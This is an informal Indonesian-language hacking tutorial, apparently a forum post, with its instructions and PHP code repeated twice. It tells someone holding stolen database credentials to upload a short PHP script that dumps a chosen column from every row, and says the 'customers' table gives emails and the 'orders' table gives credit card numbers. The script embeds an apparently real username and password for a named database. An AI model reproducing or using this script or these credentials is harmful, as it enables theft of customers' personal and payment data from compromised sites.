1. Pertama anda hanya mendapatkan :
a. DB hostname, DB username, DB password, DBname
b. tapi anda bingung mau di apain?
c. begini caranya bro .. copy paste scripts di bawah
d. buka notepad masukin scripts nya + isi langsung host user paswd dbname
e. save dengan format .php setelah itu upload ke dalam webhosting
f. setelah di upload trus buka misal nya : http://www.webhostingkamu.com/database.php maka nanti kamu akan mendapatkan file download.
g. save aja tuh , kalau kamu mencari nya di costumers akan keluar email kalau kamu mencari di orders akan keluar credit card.
h. tinggal rubah aja scripts di bawah "customers" "email" or "orders" "cc_number" selamat mencoba ...
<?
## Database connection configuration [edit this]
$host = "localhost"; // your DB hostname here
$user = "amstel_wsbaker"; // your DB username here
$pass = "DjgInHPq"; // your DB password here
$dbname = "amstel_wsbaker"; // your DBname here
$table = "customers"; // the table name
$column = "email"; // the column name
## Don't edit anything below ##
mysql_connect("$host","$user","$pass");
mysql_select_db("$dbname");
$query=mysql_query("select * from $table");
while ($data=mysql_fetch_array($query)) {
echo $data[$column];
echo"<br>";
}
?>
a. DB hostname, DB username, DB password, DBname
b. tapi anda bingung mau di apain?
c. begini caranya bro .. copy paste scripts di bawah
d. buka notepad masukin scripts nya + isi langsung host user paswd dbname
e. save dengan format .php setelah itu upload ke dalam webhosting
f. setelah di upload trus buka misal nya : http://www.webhostingkamu.com/database.php maka nanti kamu akan mendapatkan file download.
g. save aja tuh , kalau kamu mencari nya di costumers akan keluar email kalau kamu mencari di orders akan keluar credit card.
h. tinggal rubah aja scripts di bawah "customers" "email" or "orders" "cc_number" selamat mencoba ...
<?
## Database connection configuration [edit this]
$host = "localhost"; // your DB hostname here
$user = "amstel_wsbaker"; // your DB username here
$pass = "DjgInHPq"; // your DB password here
$dbname = "amstel_wsbaker"; // your DBname here
$table = "customers"; // the table name
$column = "email"; // the column name
## Don't edit anything below ##
mysql_connect("$host","$user","$pass");
mysql_select_db("$dbname");
$query=mysql_query("select * from $table");
while ($data=mysql_fetch_array($query)) {
echo $data[$column];
echo"<br>";
}
?>